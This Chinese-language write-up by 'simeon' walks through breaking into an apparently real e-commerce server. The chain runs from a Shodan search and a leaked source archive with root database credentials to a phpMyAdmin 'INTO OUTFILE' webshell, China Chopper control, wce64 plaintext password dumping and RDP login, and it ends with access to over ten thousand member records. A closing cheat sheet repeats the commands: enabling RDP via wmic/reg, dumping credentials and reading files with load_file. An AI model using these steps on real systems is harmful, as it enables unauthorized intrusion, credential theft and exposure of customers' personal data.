源代码泄露获取某电子商务网站服务器权限
simeon
***本次目标事发偶然,通过shadon对“phpMyAdmin”关键字进行检索时,加入“indexOf”关键字后,会出现所有存在列目录漏洞的网站,该网站为电子商务网站,网站保留有数万会员真实信息,下面将整过***过程进行分享。
1.发现目标
通过shadon搜索引擎对搜索记录逐个打开,发现某目标站点存在文件目录泄露漏洞:
http://203.***.**.227/
http://203.***.**.227/www.********.hk.rar
http://203.***.**.227/phpMyAdmin/
http://203.***.**.227/news********hk/
目录还有phpinfo.php文件,看到phpMyAdmin和phpinfo.php同时存在,感觉服务器权限已经不远了,如图1所示,有网站源代码打包文件,将其下载到本地。
图1文件泄露
2.查看源代码打包文件
整个源代码压缩包2.37 GB,真大!通过搜索和查看,确定数据库配置文件为config.php
如图2所示,将其解压到本地,使用notepad进行查看,果然其中包含了数据库配置信息,而且还是root帐号,密码虽然算弱口令,但也是弱口令中的强口令。
图2寻找数据库配置文件
图3获取数据库root帐号和密码
3.寻找网站物理路径
通过phpinfo.php文件查看,在浏览器中可以使用Ctrl+F快捷键搜索关键字“SCRIPT_FILENAME”获取其真实物理路径地址,_SERVER["SCRIPT_FILENAME"] D:/WWW/phpinfo.php,如图4所示。
图4获取网站物理路劲
4.Mysql直接导出Webshell
通过获取的root帐号和密码登录http://203.***.**.227/phpMyAdmin/,成功登录,如图5所示,选择SQL查询,在其中查询select''INTO OUTFILE 'd:/www/p.php'导出一句话后门。
图5登录mysql数据库
图6查询导出一句话后门
6.获取webshell
在浏览器中对http://203.***.**.227地址刷新即可获取一句话后门文件地址:http://203.***.**.227/p.php,在浏览器中打开进行访问,一切正常。使用中国菜刀一句话后门管理软件,shell添加并打开,如图7所示,顺利获取webshell
图7获取webshell
7.服务器提权
目测该系统php运行权限为系统权限,上传wce64.exe,然后在终端管理中输入“wce64-w”命令成功获取管理员帐号密码,如图8所示。
图8获取管理员密码
8.获取3389端口
在终端管理器中执行netstat -an|find "3389",无结果显示,估计管理员修改了默认端口,使用tasklist /svc命令获取进程名称和服务,找到termservice所对应的进程号,可以直接使用命令 tasklist /svc | find"termService"来获取对应的PID号,如图9所示,在本例中对应的ID号是1340。
图9获取远程终端服务对应的PID值
然后使用“netstat -ano”命令寻找1340对应的端口号,如图10所示,对应的TCP端口为7755端口,也可以使用命令netstat-ano | find '1340'命令直接显示。
图10获取终端服务对应的端口
9.登录远程终端
在命令提示符下输入mstsc.exe,打开远程终端登陆器,在3389远程桌面登录中的地址中输入“203.***.**.227:7755”,然后使用获取的管理员密码成功登录系统,如图11所示。
图11成功登录系统
10.域名反查
打开http://www.yougetsignal.com/tools/web-sites-on-web-server/网站对IP地址203.***.**.227进行域名反查,如图12所示,该IP下存在网站,打开该网站,该网站为一个电子商务网站,在该网站中存在数万会员资料,如图13所示。
图12域名反查
图13存在1万多条会员信息
11.***总结与思考
对存在phpMyAdmin的站点,通过代码泄露等方法来获取数据库的密码,然后通过读取文件或者导出文件来获取webshell。
(1)3389端口命令行下获取总结
netstat-an |find "3389" 查看3389端口是否开放
tasklist/svc | find "TermService" 获取对应TermService的PID号
netstat-ano | find '1340' 查看上面获取的PID号对应的TCP端口号
(2)Windows2008Server命令行开启3389
wmic/namespace:\\root\cimv2\terminalservices path win32_terminalservicesettingwhere (__CLASS != "") call setallowtsconnections 1
wmic /namespace:\\root\cimv2\terminalservicespath win32_tsgeneralsetting where (TerminalName ='RDP-Tcp') callsetuserauthenticationrequired 1
reg add"HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v
(3)wce64 -w 命令直接获取系统明文登录密码
(4)在phpinfo中查找SCRIPT_FILENAME关键字获取真实路径
(5)phpmyadmin一句话后门导出
select''INTO OUTFILE 'd:/www/p.php'
(6)phpstudy敏感配置文件
selectload_file(' D:\phpStudy\Lighttpd\conf\vhosts.conf ');
select load_file('D:\phpStudy\Lighttpd\conf\ lighttpd.conf ');
selectload_file(' D:\phpStudy\Apache\conf\vhosts.conf');
selectload_file(' D:\phpStudy\Apache\conf\httpd.conf');
selectload_file('c:\boot.ini');
selectload_file('c:\boot.ini');
selectload_file(' D:\phpStudy\MySQL\my.ini');